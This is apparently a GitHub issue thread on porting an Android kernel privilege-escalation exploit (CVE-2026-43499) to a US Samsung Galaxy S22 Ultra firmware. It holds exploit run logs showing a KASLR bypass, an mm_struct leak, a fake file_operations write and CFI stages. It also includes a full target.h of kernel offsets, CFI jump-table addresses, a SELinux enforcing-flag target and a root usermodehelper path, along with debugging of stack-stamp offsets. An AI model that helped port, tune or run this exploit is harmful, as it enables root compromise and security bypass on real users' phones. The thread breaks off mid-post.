Request offsets for SM-S908U / S908USQS2CWE1 (USA Snapdragon)

[Expektoration]

Device: Samsung Galaxy S22 Ultra (SM-S908U)
Region: USA (ATT)
Firmware: S908USQS2CWE1
Kernel: 5.10.136-android12-9-26203684-abS908USQS2CWE1
Build fingerprint: samsung/b0qsqw/b0q:13/TP1A.220624.014/S908USQS2CWE1:user/release-keys
Security patch: May 2023
Bootloader rev: 2

Current behavior:
The exploit built for S908WVLS8FYG7 crashes with Segmentation fault (exit 139) on this device. The offset sanity check fails before touching kernel memory. No panic/reboot.

Request:
Please add offsets for this US Snapdragon variant. I have the device and can test any PR or patch you provide.

Additional info:
Kernel version string: #1 Wed May 3 06:34:14 UTC 2023
CSC: ATT

[sarabpal-dev]

provide proper logs or if possible provide strace logs i think its not compiled with ndk need more info

[Expektoration]

Device: SM-S908U (ATT), firmware S908USQS2CWE1
Kernel: 5.10.136-android12-9-26203684-abS908USQS2CWE1
Build fingerprint: samsung/b0qsqw/b0q:13/TP1A.220624.014/S908USQS2CWE1:user/release-keys

Tested with the S908WVLS8FYG7 binary via adb shell. Result: Segmentation fault (exit 139), consistent with the offset sanity check failing as described.

Was unable to capture strace. NDK cross-compile of strace failed due to in_addr_t type resolution issues with NDK r27c against the strace source. Tombstone not captured (non-root device, Samsung debuggerd doesn't write to logcat crash buffer for shell-executed binaries).

Happy to test any PR or patch built with the correct offsets for this variant.

[sarabpal-dev]

Device: SM-S908U (ATT), firmware S908USQS2CWE1
Kernel: 5.10.136-android12-9-26203684-abS908USQS2CWE1
Build fingerprint: samsung/b0qsqw/b0q:13/TP1A.220624.014/S908USQS2CWE1:user/release-keys
Tested with the S908WVLS8FYG7 binary via adb shell. Result: Segmentation fault (exit 139), consistent with the offset sanity check failing as described.
Was unable to capture strace. NDK cross-compile of strace failed due to in_addr_t type resolution issues with NDK r27c against the strace source. Tombstone not captured (non-root device, Samsung debuggerd doesn't write to logcat crash buffer for shell-executed binaries).
Happy to test any PR or patch built with the correct offsets for this variant.

use the guide to generate target.h and send me file

[Expektoration]

Thanks. I’ve followed the target generator guide and generated target.h for S908USQS2CWE1 (attached). I extracted the kernel Image from the AP firmware and verified the symbol addresses against kallsyms.

After rebuilding with PROJECT=S908USQS2CWE1, the exploit now gets much further:

· KASLR bypassed via tracefs
· mm_struct leaked successfully
· Fake file_operations written
· install_embedded_exp32 succeeds

It then fails at the stack stamp (exp_stack_once). I’ve tested two EXP32_STAMP_OFF values:

· 0x58 (original from repo): child killed by signal 11, errno=13
· 0x34: process hangs after install_embedded_exp32

Could you advise the correct offset for this kernel, or how to calculate it from the kernel Image? I’ve also attached stack.c and output logs for both attempts.

[Expektoration]

Generated target.h and stack.c for S908USQS2CWE1 (SM-S908U ATT, Android 12, kernel 5.10.136). Exploit gets past KASLR, mm leak, fake fops, and install_embedded_exp32, but fails at stack stamp. Tested EXP32_STAMP_OFF 0x58 (segfault) and 0x34 (hang). Files are in this gist: https://gist.github.com/Expektoration/e815ce7de1bf606d2d835487df9847f7

[Expektoration]

[sarabpal-dev]

Please share boot.img and vendor-boot.img

[Expektoration]

Here are the requested files:

• boot.img: https://files.catbox.moe/59z38r.img
• vendor_boot.img: https://files.catbox.moe/x3wzqi.img

[Expektoration]

S908USQS2CWE1 Exploit Run Log

KASLR slide resolving correctly (slide=0x10000). mm_struct leak working.

Failures:

1. exp_stack_once killed by SIGSEGV — exp64 stack stamp offset wrong
2. cfi misc_fops mismatch — read returns 0, write primitive not landing

Run log

�[32m[+] �[0mpreload supervisor pid=6453 attempts=16 base_delay=20000
�[32m[+] �[0mexploit attempt=1/16 pid=6454 delay=20000
�[32m[+] �[0mstartup context pid=6454 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
�[32m[+] �[0mstartup limits pid=6454 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
�[32m[+] �[0mbuild config pid=6454 label=b0q_taro_v5.10 slide=pselect main=exp64
�[32m[+] �[0mp0 profile pid=6454 phys_offset=0000000080000000 kernel_phys_load=00000000a8000000 delta=0000000028000000 slide_logger=ffffff802a561458 bootid_data=ffffff802a679820 init_task=ffffff802a56c000 root_tg=ffffff802a76c040 sysctl_bootid=ffffff802a93c84d
�[32m[+] �[0mslide tracefs caller=ffffffc008121c60 candidate=0000000000010000
�[32m[+] �[0mslide-kaslr-ok source=tracefs pid=6454 base=ffffffc008010000 slide=0000000000010000 p0_offset=00010000
�[31m[-] �[0mKernelSnitch mm_struct leak failed
�[31m[-] �[0mprepare_kernel_page retry 1/72
�[33m[*] �[0mmm leaked=ffffff879a3a30c0 base=ffffff879a3a0000 object_index=13
�[33m[*] �[0mmm slabinfo before-leak-close mm_struct           2574   2574    960   34    8 : tunables    0    0    0 : slabdata     96     96      0
�[33m[*] �[0mmm order3 absorb: pairs=683 skbs=2049 free3 -1 -> -1 (target=0)
�[33m[*] �[0mmm skb reclaim sends=24/24 (pairs=8 hold)
�[33m[*] �[0mreplace_fake_fops this may cause deadlock
�[33m[*] �[0mexp64 payload fake_fops=ffffff879a3a0180 fake_lock=ffffff879a3a04d0 write_target=ffffffc00a6c92c0
�[33m[*] �[0minstall_embedded_exp64: /data/local/tmp/cve-exp64 (2239104 bytes)
�[31m[-] �[0mexp_stack_once: child killed by signal 11
�[31m[-] �[0mfops exp_stack_once failed ret=-1 errno=13
�[33m[*] �[0menter CFI stage
�[33m[*] �[0mcfi diag pid=6454 fake=ffffff879a3a0180 slide=10000 tgt=ffffff802a6c92c0 rd=0 val=0000000000000000 | noslide tgt=ffffff802a6b92c0 rd=0 val=0000000000000000
�[33m[*] �[0mcfi roundtrip wr=-1 rd=0 sent=0000434652571936 got=0000000000000000 ok=0
�[33m[*] �[0mcfi alias load=80080000 slide=0 tgt=ffffff80027392c0 rd=0 val=0000000000000000
�[33m[*] �[0mcfi alias load=a8000000 slide=0 tgt=ffffff802a6b92c0 rd=0 val=0000000000000000
�[33m[*] �[0mcfi alias load=80080000 slide=1 tgt=ffffff80027492c0 rd=0 val=0000000000000000
�[33m[*] �[0mcfi alias load=a8000000 slide=1 tgt=ffffff802a6c92c0 rd=0 val=0000000000000000
�[31m[-] �[0mcfi misc_fops mismatch ret=0 target=ffffff802a6c92c0 read=0000000000000000 want=ffffff879a3a0180 errno=0
�[33m[*] �[0mmm leaked=ffffff87c7cc5dc0 base=ffffff87c7cc0000 object_index=25
�[33m[*] �[0mmm slabinfo before-leak-close mm_struct           2762   2762    960   34    8 : tunables    0    0    0 : slabdata     98     98      0
�[33m[*] �[0mmm order3 absorb: pairs=683 skbs=2049 free3 -1 -> -1 (target=0)
�[33m[*] �[0mmm skb reclaim sends=24/24 (pairs=8 hold)
�[33m[*] �[0mreplace_fake_fops this may cause deadlock
�[33m[*] �[0mexp64 payload fake_fops=ffffff87c7cc0180 fake_lock=ffffff87c7cc04d0 write_target=ffffffc00a6c92c0
�[31m[-] �[0mexp_stack_once: child killed by signal 11
�[31m[-] �[0mfops exp_stack_once failed ret=-1 errno=13
�[33m[*] �[0menter CFI stage
�[33m[*] �[0mcfi diag pid=6454 fake=ffffff87c7cc0180 slide=10000 tgt=ffffff802a6c92c0 rd=0 val=0000000000000000 | noslide tgt=ffffff802a6b92c0 rd=0 val=0000000000000000
�[33m[*] �[0mcfi roundtrip wr=-1 rd=0 sent=0000434652571936 got=0000000000000000 ok=0
�[33m[*] �[0mcfi alias load=80080000 slide=0 tgt=ffffff80027392c0 rd=0 val=0000000000000000
�[33m[*] �[0mcfi alias load=a8000000 slide=0 tgt=ffffff802a6b92c0 rd=0 val=0000000000000000
�[33m[*] �[0mcfi alias load=80080000 slide=1 tgt=ffffff80027492c0 rd=0 val=0000000000000000
�[33m[*] �[0mcfi alias load=a8000000 slide=1 tgt=ffffff802a6c92c0 rd=0 val=0000000000000000
�[31m[-] �[0mcfi misc_fops mismatch ret=0 target=ffffff802a6c92c0 read=0000000000000000 want=ffffff87c7cc0180 errno=0

Generated target.h

#ifndef OFFSET_H
#define OFFSET_H

/*
 * QEMU aarch64 virt target — v5.10 kernel (Android GKI)
 *
 * Ported from CVE-2026-43499-S25U (pa3q-S938NKSUACZF1, v6.x kernel).
 * All offsets extracted from vmlinux via GDB ptype/symbols/objdump.
 *
 * BuildID: ca4ab0ce6b7e3bef4803fea2dcc5a77abb9e5fe5
 * CONFIG_ARM64_VA_BITS=39, nokaslr -> KASLR slide = 0
 *
 * v5.10 vs v6.x key differences:
 *   1. pool_workqueue.nr_in_flight[15] (v5.10) vs [16] (v6.x)
 *      → nr_active at 0x58 (v5.10) vs 0x5c (v6.x)
 *      → max_active at 0x5c (v5.10) vs 0x60 (v6.x)
 *   2. worker_pool has watchdog_ts between flags and worklist
 *      → worklist at 0x20 (v5.10) vs 0x28 (v6.x)
 *      → nr_idle at 0x34 (v5.10) vs 0x3c (v6.x)
 *   3. work_struct = 48 bytes (includes android_kabi_reserved1/2)
 *   4. pool_workqueue = 256 bytes (48-byte tail padding)
 *   5. worker_pool = 896 bytes
 */

#define USE_EXP64 1
#define BUILD_VARIANT_LABEL "b0q_taro_v5.10"
#ifndef BUILD_FINGERPRINT
#define BUILD_FINGERPRINT "samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys"
#endif

/* ---- Kernel image layout (verified from QEMU kernel) ---- */
#define KIMAGE_TEXT_BASE 0xffffffc008000000ULL
#define P0_PAGE_OFFSET   0xffffff8000000000ULL   /* 39-bit VA PAGE_OFFSET     */
#define P0_PHYS_OFFSET   0x80000000ULL           /* memstart_addr             */
#define P0_KERNEL_PHYS_LOAD 0xa8000000ULL        /* Kernel code phys start    */

#define KERNELSNITCH_IDENTITY_START 0xffffff8000000000ULL
#define KERNELSNITCH_IDENTITY_END   0xffffff9000000000ULL   /* 64GB direct map */
#define DIRECT_MAP_BASE  0xffffff8000000000ULL
#define DIRECT_MAP_END   0xffffff9000000000ULL
#define VMEMMAP_START    0xfffffffeffe00000ULL   /* 39-bit v5.10: -VMEMMAP_SIZE(0x1000000000)-2M; GDB-verified on live slab pages */

/* ---- ashmem dispatch functions (CFI jump targets for v5.10 ARM64 Android) ---- */
#define ASHMEM_MISC_FOPS_OFF 0x026b92c0ULL   /* &ashmem_misc.fops */
#define ASHMEM_FOPS_OFF      0x02061aa8ULL   /* &ashmem_fops           */

/* Function addresses (raw entry points) */
#define ASHMEM_IOCTL_OFF         0x0111c3f8ULL   /* ashmem_ioctl           */
#define ASHMEM_COMPAT_IOCTL_OFF  0x0111cf04ULL   /* compat_ashmem_ioctl    */
#define ASHMEM_MMAP_OFF          0x0111cf5cULL   /* ashmem_mmap            */
#define ASHMEM_OPEN_OFF          0x0111d194ULL   /* ashmem_open            */
#define ASHMEM_RELEASE_OFF       0x0111d22cULL   /* ashmem_release         */
#define ASHMEM_SHOW_FDINFO_OFF   0x0111d348ULL   /* ashmem_show_fdinfo     */

/*
 * configfs — v5.10 uses old .read/.write API, not .read_iter/.write_iter.
 * The arbitrary-READ primitive forges configfs_buffer->page (off 16) and
 * ->count (off 0, = ASHMEM_PREFIX_COUNT from the fixed name prefix), so the
 * .read slot MUST be configfs_read_file (text path, consumes page/count).
 * configfs_read_bin_file consumes ->bin_buffer (left NULL on reads) and
 * returns 0 — using it in the .read slot causes "cfi misc_fops mismatch
 * ret=0 read=0".
 * The arbitrary-WRITE primitive forges ->bin_buffer/->bin_buffer_size, so the
 * .write slot MUST be configfs_write_bin_file.
 * Populate .read/.write (FOPS_READ_OFF=0x10, FOPS_WRITE_OFF=0x18).
 */
#define CONFIGFS_READ_ITER_OFF      0x00633c5cULL   /* configfs_read_file      */
#define CONFIGFS_BIN_WRITE_ITER_OFF 0x006345e8ULL   /* configfs_write_bin_file */

#define COPY_SPLICE_READ_OFF  0x0053cfd8ULL   /* generic_file_splice_read */
#define NOOP_LLSEEK_OFF       0x004c6d38ULL   /* noop_llseek              */

/* ---- Kernel data objects ---- */
#define INIT_TASK_OFF           0x0256c000ULL   /* init_task           */
#define ROOT_TASK_GROUP_OFF     0x0276c040ULL   /* root_task_group     */
/* Runtime enforce flag = selinux_state.enforcing @ +0x00
 * (selinux_state @ 0xffffffc00a8cccd8; offset verified via sel_write_enforce's
 * ldaprb/strb [x22]).  NOT selinux_enforcing_boot (0x02548484) — that one is
 * the boot-time value only; writing it changes nothing at runtime (the
 * 2026-08-08 device run's umh -EACCES: SELinux stayed enforcing). */
#define SELINUX_ENFORCING_OFF   0x0289da58ULL   /* selinux_state.enforcing */
#define KMALLOC_CACHES_OFF      0x020a35f8ULL   /* kmalloc_caches      */
#define ANON_PIPE_BUF_OPS_OFF   0x01ee90e8ULL   /* anon_pipe_buf_ops   */

/* ---- Convenience macros (absolute addresses) ---- */
#define ASHMEM_MISC_FOPS    (KIMAGE_TEXT_BASE + ASHMEM_MISC_FOPS_OFF)
#define ASHMEM_FOPS         (KIMAGE_TEXT_BASE + ASHMEM_FOPS_OFF)
#define ASHMEM_IOCTL        (KIMAGE_TEXT_BASE + ASHMEM_IOCTL_OFF)
#define ASHMEM_COMPAT_IOCTL (KIMAGE_TEXT_BASE + ASHMEM_COMPAT_IOCTL_OFF)
#define ASHMEM_MMAP         (KIMAGE_TEXT_BASE + ASHMEM_MMAP_OFF)
#define ASHMEM_OPEN         (KIMAGE_TEXT_BASE + ASHMEM_OPEN_OFF)
#define ASHMEM_RELEASE      (KIMAGE_TEXT_BASE + ASHMEM_RELEASE_OFF)
#define ASHMEM_SHOW_FDINFO  (KIMAGE_TEXT_BASE + ASHMEM_SHOW_FDINFO_OFF)
#define CONFIGFS_READ_ITER       (KIMAGE_TEXT_BASE + CONFIGFS_READ_ITER_OFF)
#define CONFIGFS_BIN_WRITE_ITER  (KIMAGE_TEXT_BASE + CONFIGFS_BIN_WRITE_ITER_OFF)
#define COPY_SPLICE_READ   (KIMAGE_TEXT_BASE + COPY_SPLICE_READ_OFF)
#define NOOP_LLSEEK        (KIMAGE_TEXT_BASE + NOOP_LLSEEK_OFF)
#define INIT_TASK          (KIMAGE_TEXT_BASE + INIT_TASK_OFF)
#define ROOT_TASK_GROUP    (KIMAGE_TEXT_BASE + ROOT_TASK_GROUP_OFF)
#define SELINUX_ENFORCING  (KIMAGE_TEXT_BASE + SELINUX_ENFORCING_OFF)
#define KMALLOC_CACHES     (KIMAGE_TEXT_BASE + KMALLOC_CACHES_OFF)
#define ANON_PIPE_BUF_OPS  (KIMAGE_TEXT_BASE + ANON_PIPE_BUF_OPS_OFF)

/* ---- Root usermodehelper ---- */
#define ROOT_UMH_PATH "/data/local/tmp/cve-2026-43499-root"
#define CALL_USERMODEHELPER_EXEC_WORK_OFF 0x00106ba4ULL   /* GDB: &call_usermodehelper_exec_work - KIMAGE_TEXT_BASE */
#define SYSTEM_UNBOUND_WQ_OFF 0x02559e00ULL               /* GDB: &system_unbound_wq - KIMAGE_TEXT_BASE */

/* ---- kCFI canonical (.cfi_jt) addresses ---------------------------------
 * CONFIG_CFI_CLANG is on: function pointers called indirectly (fops slots,
 * work funcs) MUST be the canonical .cfi_jt jump-table entries, NOT the raw
 * kallsyms addresses — misc_open's f_op->open call panics with
 * "CFI failure" otherwise (observed on the live target).
 * Values recovered by scanning the .cfi_jt region on the running kernel and
 * cross-checked against the real ashmem_fops table slots. */
#define ASHMEM_IOCTL_JT_OFF           0x0111c3f8ULL   /* -> ashmem_ioctl            */
#define ASHMEM_COMPAT_IOCTL_JT_OFF    0x0111cf04ULL   /* -> compat_ashmem_ioctl     */
#define ASHMEM_MMAP_JT_OFF            0x0111cf5cULL   /* -> ashmem_mmap             */
#define ASHMEM_OPEN_JT_OFF            0x0111d194ULL   /* -> ashmem_open             */
#define ASHMEM_RELEASE_JT_OFF         0x0111d22cULL   /* -> ashmem_release          */
#define ASHMEM_SHOW_FDINFO_JT_OFF     0x0111d348ULL   /* -> ashmem_show_fdinfo      */
#define ASHMEM_LLSEEK_JT_OFF          0x0111c258ULL   /* real table .llseek (ashmem_llseek) */
#define CONFIGFS_READ_FILE_JT_OFF       0x00633c5cULL /* -> configfs_read_file      */
#define CONFIGFS_WRITE_BIN_FILE_JT_OFF  0x006345e8ULL /* -> configfs_write_bin_file */
#define NOOP_LLSEEK_JT_OFF            0x004c6d38ULL   /* -> noop_llseek             */
#define CALL_USERMODEHELPER_EXEC_WORK_JT_OFF 0x00106ba4ULL /* -> call_usermodehelper_exec_work */

#define ASHMEM_IOCTL_JT        (KIMAGE_TEXT_BASE + ASHMEM_IOCTL_JT_OFF)
#define ASHMEM_COMPAT_IOCTL_JT (KIMAGE_TEXT_BASE + ASHMEM_COMPAT_IOCTL_JT_OFF)
#define ASHMEM_MMAP_JT         (KIMAGE_TEXT_BASE + ASHMEM_MMAP_JT_OFF)
#define ASHMEM_OPEN_JT         (KIMAGE_TEXT_BASE + ASHMEM_OPEN_JT_OFF)
#define ASHMEM_RELEASE_JT      (KIMAGE_TEXT_BASE + ASHMEM_RELEASE_JT_OFF)
#define ASHMEM_SHOW_FDINFO_JT  (KIMAGE_TEXT_BASE + ASHMEM_SHOW_FDINFO_JT_OFF)
#define ASHMEM_LLSEEK_JT       (KIMAGE_TEXT_BASE + ASHMEM_LLSEEK_JT_OFF)
#define CONFIGFS_READ_FILE_JT       (KIMAGE_TEXT_BASE + CONFIGFS_READ_FILE_JT_OFF)
#define CONFIGFS_WRITE_BIN_FILE_JT  (KIMAGE_TEXT_BASE + CONFIGFS_WRITE_BIN_FILE_JT_OFF)
#define NOOP_LLSEEK_JT         (KIMAGE_TEXT_BASE + NOOP_LLSEEK_JT_OFF)
#define CALL_USERMODEHELPER_EXEC_WORK_JT \
  (KIMAGE_TEXT_BASE + CALL_USERMODEHELPER_EXEC_WORK_JT_OFF)
#define CALL_USERMODEHELPER_EXEC_WORK \
  (KIMAGE_TEXT_BASE + CALL_USERMODEHELPER_EXEC_WORK_OFF)
#define SYSTEM_UNBOUND_WQ (KIMAGE_TEXT_BASE + SYSTEM_UNBOUND_WQ_OFF)
#define ROOT_UMH_WORK_OFF 0x6000
#define ROOT_UMH_DATA_OFF 0x6200

/* ---- SKB delta (unix sendmsg / alloc_skb_with_frags) ----
 * GDB-verified on the live b0q kernel (unix_stream_sendmsg+344..432):
 *   size = min(len-sent, (sk->sk_sndbuf>>1)-64, 36480)   per-skb cap
 *   head = size - PAGE_ALIGN(size - 0xe80)  →  header_len = 0xe80
 *   x1=0xe80 (header_len), x2=0x8000 (data_len) → sock_alloc_send_pskb
 * So each skb carries 36480 B: 0xe80 B linear head + one 32 KB order-3 frag
 * page that receives the user stream at offset 0xe80 — identical to the old
 * QEMU GKI kernel.  Payload pointers must be biased by -0xe80 so they land on
 * their content inside the frag page.  (An earlier "header_len=size/2"
 * reading mistook the sndbuf>>1 limit for the head size — reverted.) */
#ifndef SKB_DATA_DELTA
#define SKB_DATA_DELTA (-0xe80LL)
#endif

/* ---- SLIDE KASLR bypass offsets ---- */
/*
 * nfulnl_logger, loggers array, random boot_id data, init_task, root_task_group,
 * and sysctl_bootid — used by SLIDE KASLR bypass.
 * NOTE: QEMU uses nokaslr (slide = 0), so SLIDE is only needed for
 * verification / debugging parity. TraceFS-based slide (SLIDE_TRACEFS_WORKER_CALLER)
 * targets the return address from worker_thread's bl schedule call site.
 */
#define SLIDE_FAKE_WAITER_PRIO   0
#define SLIDE_WAITER_WAKE_STATE  0
#define SLIDE_LOCK_OWNER_VALUE   1ULL
#define SLIDE_USE_FAKE_TASK      1
#define SLIDE_RB_PARENT_TYPE_RESTORE 1ULL
#define SLIDE_TRACEFS_EVENT_ID 84

#define SLIDE_NFULNL_LOGGER_OFF        0x02561458ULL
#define SLIDE_LOGGERS_0_1_OFF          0x02561388ULL   /* &loggers[0][1] */
#define SLIDE_RANDOM_BOOT_ID_DATA_OFF  0x02679820ULL   /* &random_table[4].data */
#define SLIDE_INIT_TASK_OFF            INIT_TASK_OFF
#define SLIDE_ROOT_TASK_GROUP_OFF      ROOT_TASK_GROUP_OFF
#define SLIDE_SYSCTL_BOOTID_OFF        0x0293c84dULL   /* sysctl_bootid buffer */

#define SLIDE_NFULNL_LOGGER_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_NFULNL_LOGGER_OFF)
#define SLIDE_LOGGERS_0_1_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_LOGGERS_0_1_OFF)
#define SLIDE_RANDOM_BOOT_ID_DATA_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_RANDOM_BOOT_ID_DATA_OFF)
#define SLIDE_INIT_TASK_IMAGE (KIMAGE_TEXT_BASE + SLIDE_INIT_TASK_OFF)
#define SLIDE_ROOT_TASK_GROUP_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_ROOT_TASK_GROUP_OFF)
#define SLIDE_SYSCTL_BOOTID_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_SYSCTL_BOOTID_OFF)

/*
 * TraceFS worker caller offset — the return address from worker_thread's
 * bl schedule (0xffffffc00815c244 -> LR = 0xffffffc00815c248).
 * Used by slide.c to match trace event callers during KASLR bypass.
 * WARNING: QEMU nokaslr — verify empirically if trace-based slide is used.
 */
#define SLIDE_TRACEFS_WORKER_CALLER_OFF 0x00111c60ULL   /* worker_thread+1352 ret addr after bl schedule */

/* ---- Fake page layout offsets (within the 32KB order-3 kernel page) ---- */
#define LOCK_OFF    0x1350
#define W0_OFF      0x2220
#define FOPS_OFF    0x1000
#define SCRATCH_OFF 0x3000
#define RIGHT_OFF   0x4440
#define LEFT_OFF    0x5550
#define FAKE_TASK_OFF 0x3200

/* ---- rt_mutex_waiter embedded offsets (v5.10 via GDB ptype) ---- */
/*
 * v5.10 struct rt_mutex_waiter = 80 bytes (NO wake_state, NO ww_ctx).
 * Layout: tree_entry(0) pi_tree_entry(24) task(48) lock(56) prio(64) deadline(72)
 */
#define FAKE_WAITER_TREE_PRIO_OFF       0x18
#define FAKE_WAITER_TREE_DEADLINE_OFF   0x20
#define FAKE_WAITER_PI_TREE_ENTRY_OFF   0x18   /* v5.10: pi_tree_entry at 24 (0x18), NOT 0x28 like v6.x */
#define FAKE_WAITER_PI_TREE_PRIO_OFF    0x40
#define FAKE_WAITER_PI_TREE_DEADLINE_OFF 0x48
#define FAKE_WAITER_TASK_OFF            0x30   /* v5.10: task at 0x30 (was 0x50 in v6.x) */
#define FAKE_WAITER_LOCK_OFF            0x38   /* v5.10: lock at 0x38 (was 0x58 in v6.x) */
#define FAKE_WAITER_WAKE_STATE_OFF      0x60   /* v5.10: field absent; harmless write past struct */
#define FAKE_WAITER_WW_CTX_OFF          0x68   /* v5.10: field absent; harmless write past struct */

/* ---- task_struct internal offsets (v5.10 via GDB ptype) ---- */
#define FAKE_TASK_USAGE_OFF         0x40    /* &task->usage         */
#define FAKE_TASK_PRIO_OFF          0x84    /* &task->prio          */
#define FAKE_TASK_NORMAL_PRIO_OFF   0x8c    /* &task->normal_prio   */
#define FAKE_TASK_TASK_GROUP_OFF    0x310   /* &task->sched_task_group */
#define FAKE_TASK_PI_LOCK_OFF       0x86c   /* &task->pi_lock       */
#define FAKE_TASK_PI_WAITERS_OFF    0x880   /* &task->pi_waiters    */
#define FAKE_TASK_PI_TOP_TASK_OFF   0x890   /* &task->pi_top_task   */
#define FAKE_TASK_PI_BLOCKED_ON_OFF 0x898   /* &task->pi_blocked_on */

/* ---- configfs buffer-private overlay offsets ---- */
#define CFG_PAGE_OFF             16
#define CFG_NEEDS_READ_FILL_OFF  80
#define CFG_BIN_BUFFER_OFF       88
#define CFG_BIN_BUFFER_SIZE_OFF  96
#define CFG_CB_MAX_SIZE_OFF      100

/* ---- workqueue_struct (v5.10 via GDB ptype) ---- */
#define WQ_DFL_PWQ_OFF 0xb0      /* &((struct workqueue_struct *)0)->dfl_pwq */

/* ---- pool_workqueue offsets (v5.10 via GDB ptype, sizeof=256) ---- */
#define PWQ_POOL_OFF         0x00   /* &pwq->pool          */
#define PWQ_WQ_OFF           0x08   /* &pwq->wq            */
#define PWQ_WORK_COLOR_OFF   0x10   /* &pwq->work_color    */
#define PWQ_REFCNT_OFF       0x18   /* &pwq->refcnt        */
#define PWQ_NR_IN_FLIGHT_OFF 0x1c   /* &pwq->nr_in_flight[0] */
#define PWQ_NR_ACTIVE_OFF    0x58   /* &pwq->nr_active     */   /* v5.10: nr_in_flight[15], NOT [16] */
#define PWQ_MAX_ACTIVE_OFF   0x5c   /* &pwq->max_active    */

/* ---- worker_pool offsets (v5.10 via GDB ptype, sizeof=896) ---- */
#define POOL_WORKLIST_OFF 0x20   /* &pool->worklist   */   /* v5.10: watchdog_ts at 0x18 adds 8 bytes */
#define POOL_NR_IDLE_OFF  0x34   /* &pool->nr_idle     */

/* ---- work_struct offsets (v5.10 via GDB ptype, sizeof=48) ---- */
#define WORK_DATA_OFF  0x00   /* &work->data    */
#define WORK_ENTRY_OFF 0x08   /* &work->entry   */
#define WORK_FUNC_OFF  0x18   /* &work->func    */

/* ---- struct page (v5.10 via GDB ptype, sizeof=64=0x40) ---- */
#define STRUCT_PAGE_SIZE              0x40
#define STRUCT_PAGE_COMPOUND_HEAD_OFF 0x08
#define STRUCT_SLAB_CACHE_OFF         0x18   /* &page->slab_cache (union w/ mapping); was 0x08 in v6.x */
#define STRUCT_PAGE_TYPE_OFF          0x30

/* ---- pipe buffer ---- */
#define PIPE_BUFFER_SLOTS         32
#define PIPE_BUF_FLAG_CAN_MERGE   0x10

/* ---- file_operations offsets (v5.10 via GDB ptype, sizeof=288=0x120) ---- */
/* v5.10 has BOTH .read/.write AND .read_iter/.write_iter — all shifted by 8 vs v6.x */
#define FOPS_OWNER_OFF        0x00
#define FOPS_LLSEEK_OFF       0x08
#define FOPS_READ_OFF         0x10
#define FOPS_WRITE_OFF        0x18
#define FOPS_READ_ITER_OFF    0x20
#define FOPS_WRITE_ITER_OFF   0x28
#define FOPS_IOCTL_OFF        0x50   /* unlocked_ioctl  (was 0x48 in v6.x) */
#define FOPS_COMPAT_IOCTL_OFF 0x58   /* compat_ioctl    (was 0x50 in v6.x) */
#define FOPS_MMAP_OFF         0x60   /* mmap            (was 0x58 in v6.x) */
#define FOPS_OPEN_OFF         0x70   /* open            (was 0x68 in v6.x) */
#define FOPS_RELEASE_OFF      0x80   /* release         (was 0x78 in v6.x) */
#define FOPS_SPLICE_READ_OFF  0xC8   /* splice_read     (was 0xB8 in v6.x) */
#define FOPS_SHOW_FDINFO_OFF  0xE0   /* show_fdinfo     (was 0xD8 in v6.x) */

/* ---- v5.10 struct size overrides (included before common.h) ---- */
#define MM_STRUCT_SZ       960    /* 0x3C0: v5.10 mm_struct slab size, was 0x500 */
#define MM_CPU_PARTIAL     13      /* GDB: mm_cachep->cpu_partial on qemu v5.10 */
#define KSNITCH_COLLISIONS 6      /* v5.10 needs more collisions, was 4 */

#endif

[Expektoration]

Additional Notes

Build environment:

• Built with Android NDK r27c, API 33
• Compiler: aarch64-linux-android33-clang
• Used target-specific sources from src/targets/S908USQS2CWE1/
• make PROJECT=S908USQS2CWE1 NDK_ROOT=~/android-ndk-r27c API=33

Re: @twilight0672 zip:
The zip you shared appears to have been built with the generic exp32 route (116KB binary) rather than the exp64 route (2.3MB). It also contained a broken cve.so symlink. Running it directly also segfaults — same result as the generic build.

Re: invocation:
Running ./cve-2026-43499 directly segfaults with no output. The exploit only runs when invoked via LD_PRELOAD=./cve-2026-43499 /system/bin/true. Is that the expected invocation method?

Re: NDK:
The initial segfault tests were with the pre-built S908WVLS8FYG7 binary. My own build uses NDK r27c as specified in the README. The LD_PRELOAD run logs above are from my NDK-compiled S908USQS2CWE1 build using target-specific sources.

Device summary:

• SM-S908U (ATT), Android 13, SDK 33
• No root, locked bootloader
• /dev/ashmem present, /dev/ion absent (replaced by /dev/dma_heap/)

[Expektoration]

@sarabpal-dev — quick route question: my target.h has USE_EXP64 1 and the log shows main=exp64, but the README says the mainline route is exp32. Which route should S908USQS2CWE1 use?

Both my exp32 attempts (0x58 segfault, 0x34 hang) and my exp64 build fail at the stack stamp — everything upstream works (KASLR via tracefs, mm_struct leak, fake fops write, install_embedded payload all succeed).

Is EXP32_STAMP_OFF derivable from the kernel Image, or does it need live disassembly? Happy to test any patch or PR you provide.

[Expektoration]

Follow-up with route confirmation, so the exp32/exp64 question is settled.

Confirmed via strings on the built binary:

• build/S908USQS2CWE1/bin/cve-2026-43499 contains main=exp64, install_embedded_exp64, /data/local/tmp/cve-exp64. No exp32 strings anywhere. My target builds the exp64 route.

Target folder layout:

• src/targets/S908USQS2CWE1/ has exp64/ and no exp32/.
• diff -u src/targets/S901USQU2BVK1/exp64/stack.c src/targets/S908USQS2CWE1/exp64/stack.c is empty — the file is byte-identical to S901USQU2BVK1 (S21 Ultra). The target appears to have been created by copying from S901USQU2BVK1 and editing target.h / offset.h.
• git status --short shows ?? src/targets/S908USQS2CWE1/ and git ls-files returns nothing — the entire target folder is untracked, which is why it is not in the repo.

Where STAMP_OFF actually lives:

• src/exp32/stack.c:59 → #define EXP32_STAMP_OFF 0x34 — shared exp32 source, not compiled by my target.
• src/targets/S908USQS2CWE1/exp64/stack.c:59 → #define STAMP_OFF 0xb0 — this is what my binary actually uses.

So my earlier 0x58 and 0x34 tests were edits to files my target does not compile. Every run has used STAMP_OFF 0xb0; the exp_stack_once segfault is 0xb0 failing, not the values I reported earlier. Correcting that.

Sibling STAMP_OFF values across targets (not suggesting these as fixes, just showing the spread and that the value is kernel-specific):

• S901WVLS4DWL3/exp64/stack.c: 0x60
• S901USQU2BVK1/exp64/stack.c: 0xb0 (what I inherited)
• S908BXXSMGZB2 and S901BXXSNGZD7 (exp32): EXP32_STAMP_OFF 0x68

Questions:

